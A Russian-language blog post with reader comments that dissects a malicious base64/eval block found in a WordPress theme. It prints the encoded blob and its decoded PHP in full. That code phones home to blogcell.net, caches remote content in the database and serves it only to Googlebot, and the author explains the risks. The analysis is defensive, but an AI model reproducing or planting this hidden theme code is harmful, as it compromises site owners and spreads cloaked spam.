WordPress, eval
21 сентября, 2010
UPD. Сделал сервис для проверки подобных штук: http://uneval.com/ru
Сегодня наткнулся в теме вордпресс на блок:
base64_decode('ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2MDApeyRhZHdiX2hvc3QgPSAnYmxvZ2NlbGwubmV0JzskYWR3Yl9nZXQgID0gJy93cGFtLyc7JGFkd2Jfc29jICA9IEBmc29ja29wZW4oJGFkd2JfaG9zdCw4MCwkX2VuLCRfZXMsMzApO2lmICgkYWR3Yl9zb2Mpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJGFkd2Jfc29jLDMwKTtAZndyaXRlKCRhZHdiX3NvYywiR0VUICRhZHdiX2dldCIuJz9oPScudXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyZ1PScudXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICRhZHdiX2hvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIpOyRhZHdiX2RhdGEgPSAnJzt3aGlsZSghZmVvZigkYWR3Yl9zb2MpKSAkYWR3Yl9kYXRhIC49IEBmZ2V0cygkYWR3Yl9zb2MsIDEwMjQpOyRhZHdiX2RhdGEgPSB0cmltKHN0cnN0cigkYWR3Yl9kYXRhLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkYWR3Yl9zb2MpO2lmKHByZWdfbWF0Y2goJy88YWRidWc+KC4rPyk8XC9hZGJ1Zz4vcycsJGFkd2JfZGF0YSwkYWR3Yl90bXApKXskYWR3Yl9vcHQgPSBhcnJheSh0aW1lKCksICRhZHdiX3RtcFsxXSk7JHdwZGItPnF1ZXJ5KCJVUERBVEUgJHdwZGItPm9wdGlvbnMgU0VUIG9wdGlvbl92YWx1ZT0nIi5teXNxbF9lc2NhcGVfc3RyaW5nKHNlcmlhbGl6ZSgkYWR3Yl9vcHQpKS4iJyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIik7fX1pZiAoZXJlZ2koImdvb2dsZWJvdCIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSllY2hvICRhZHdiX29wdFsxXTt9YWRkX2FjdGlvbigid3BfZm9vdGVyIiwgIndwX2dldF9mb290ZXJfbWV0YSIpOw0KPz4=')
После декодирования можно изучить экземпляр:
function wp_get_footer_meta() {global $wpdb;if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$adwb_opt = unserialize($adwb_opt);else{$adwb_opt = array(0,'');$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");}if ((time()-$adwb_opt[0]) >= 3600){$adwb_host = 'blogcell.net';$adwb_get = '/wpam/';$adwb_soc = @fsockopen($adwb_host,80,$_en,$_es,30);if ($adwb_soc){@stream_set_timeout($adwb_soc,30);@fwrite($adwb_soc,"GET $adwb_get".'?h='.urlencode($_SERVER['HTTP_HOST']).'&u='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");$adwb_data = '';while(!feof($adwb_soc)) $adwb_data .= @fgets($adwb_soc, 1024);$adwb_data = trim(strstr($adwb_data,"\r\n\r\n"));}@fclose($adwb_soc);if(preg_match('/(.+?)<\/adbug>/s',$adwb_data,$adwb_tmp)){$adwb_opt = array(time(), $adwb_tmp[1]);$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' WHERE option_name='adwb_opt'");}}if (eregi("googlebot",$_SERVER['HTTP_USER_AGENT']))echo $adwb_opt[1];}add_action("wp_footer", "wp_get_footer_meta");
Что мы имеем в сухом остатке:
$adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'")
Код выбирает из вашей базы данные
$adwb_soc = @fsockopen($adwb_host,80,$_en,$_es,30);
Код устанавливает соединение с удалёным сервером и получает инструкции
$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' WHERE option_name='adwb_opt'");
помещает какие-то данные в базу данных
echo $adwb_opt[1];
выводит что-то на странице
Вывод: Вы сильно рискуете, устанавливая непроверенную тему на блог. Возможна кража всех данных, стирание/порча базы данных, файлов. Выполнение произвольного кода на сервере с возможностью доступа к другим сайтам сервера/аккаунта.
Сцылку-то на сервис дай. Или не готово еще?
тут будет: http://safety.iadlab.ru/
блог тут : http://blog.safety.iadlab.ru/
http://uneval.com/ru
День добрый
прикольная идея http://safety.iadlab.ru/ ! Полезная весчь должна быть, теперь буду проверять тут новые шкурки)
Плюшка пока отключена. Дотачиваю некоторые алгоритмы обратного инжениринга. Но работать будет. Торжественно обещаю к концу недели допилить =)
сервис на проверку eval отличная штука.запускайте быстрее,а то вручную темы перебирать очень долго.
[…] eval блоков предстаёт содержимое, подобное этому http://lenta.iadlab.ru/2010/09/21/wordpress-eval/. Подобные скрипты способны: 1. Получить информацию о […]
Поздравляю вас Старо-Новым годом, желаю вам в новом году успехов и спасибо что вы находите время поддерживать ваш замечательный блог!